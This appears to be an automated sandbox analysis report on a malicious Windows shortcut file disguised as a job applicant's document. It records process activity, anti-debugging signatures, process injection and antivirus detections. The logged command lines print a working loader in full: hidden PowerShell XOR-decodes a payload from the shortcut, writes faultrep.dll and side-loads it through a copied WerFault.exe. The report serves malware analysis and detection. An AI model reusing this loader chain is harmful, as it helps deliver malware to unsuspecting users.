CreateProcessInternalW Aug. 1, 2024, 2:45 p.m.	thread_identifier: 2664 thread_handle: 0x00000334 process_identifier: 2660 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cmd.exe track: 1 command_line: "C:\Windows\system32\cmd.exe" /c copy C:\Windows\system32\WerFault.exe C:\Users\test22\AppData\Local\Temp\WerFault.exe && powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^\| where-object {$_.length -eq 0x0009AA06} ^\| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x71 }; $path = 'C:\Users\test22\AppData\Local\Temp\faultrep.dll'; sc $path ([byte[]]($file ^\| select -Skip 012238)) -Encoding Byte; ^& C:\Users\test22\AppData\Local\Temp\WerFault.exe; filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 67634196 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_SUSPENDED\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x0000033c	1	1	0
CreateProcessInternalW Aug. 1, 2024, 2:45 p.m.	thread_identifier: 2756 thread_handle: 0x00000088 process_identifier: 2752 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk \| where-object {$_.length -eq 0x0009AA06} \| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x71 }; $path = 'C:\Users\test22\AppData\Local\Temp\faultrep.dll'; sc $path ([byte[]]($file \| select -Skip 012238)) -Encoding Byte; & C:\Users\test22\AppData\Local\Temp\WerFault.exe; filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000090	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Aug. 1, 2024, 2:45 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (9 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (2 events)

cmdline

One or more non-whitelisted processes were created (1 event)

parent_process

powershell.exe

martian_process

"C:\Users\test22\AppData\Local\Temp\WerFault.exe"

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2548 resumed a thread in remote process 2660
NtResumeThread Aug. 1, 2024, 2:45 p.m.	thread_handle: 0x00000334 suspend_count: 1 process_identifier: 2660	1	0	0

Creates a suspicious Powershell process (2 events)

option	-windowstyle hidden				value	Attempts to execute command with a hidden window
option	-windowstyle hidden				value	Attempts to execute command with a hidden window

The process powershell.exe wrote an executable file to disk (22 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe
file	C:\Users\test22\AppData\Local\Temp\faultrep.dll
file	C:\Users\test22\AppData\Local\Temp\WerFault.exe

A potential heapspray has been detected. 381 megabytes was sprayed onto the heap of the powershell.exe process (1 event)

count

6107

name

heapspray

process

powershell.exe

total_mb

381

length

65536

protection

PAGE_READWRITE

File has been identified by 31 AntiVirus engines on VirusTotal as malicious (31 events)

Lionic	Trojan.WinLNK.Powecod.4!c
Skyhigh	BehavesLike.Trojan.jb
ALYac	Trojan.Agent.LNK.Gen
VIPRE	Trojan.GenericKD.73402369
Symantec	Scr.Mallnk!gen10
ESET-NOD32	LNK/TrojanDropper.Agent.DD
McAfee	Artemis!E449E8239EC8
Avast	LNK:Dropper-D [Trj]
Kaspersky	HEUR:Trojan.WinLNK.Powecod.c
BitDefender	Trojan.GenericKD.73402369
MicroWorld-eScan	Trojan.GenericKD.73402369
Emsisoft	Trojan.GenericKD.73402369 (B)
Zillya	Dropper.Agent.Script.516
FireEye	Trojan.GenericKD.73402369
Sophos	Troj/LnkObf-T
SentinelOne	Static AI - Suspicious LNK
Google	Detected
MAX	malware (ai score=87)
Kingsoft	Script.Troj.lnk.2025167
Arcabit	Trojan.Generic.D4600801
ZoneAlarm	HEUR:Trojan.WinLNK.Powecod.c
GData	Trojan.GenericKD.73402369
Varist	LNK/ABTrojan.EYLY-
AhnLab-V3	Trojan/LNK.Runner
VBA32	Trojan.Link.Crafted
Ikarus	Trojan.Win32.Crypt
Tencent	Win32.Trojan.Powecod.Lqil
huorong	Trojan/Generic!D1B0E3B03046BF15
Fortinet	LNK/Agent.762C!tr
AVG	LNK:Dropper-D [Trj]
alibabacloud	Trojan[dropper]:Win/Casdet.Gen

【算法工程师】李子豪.lnk

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All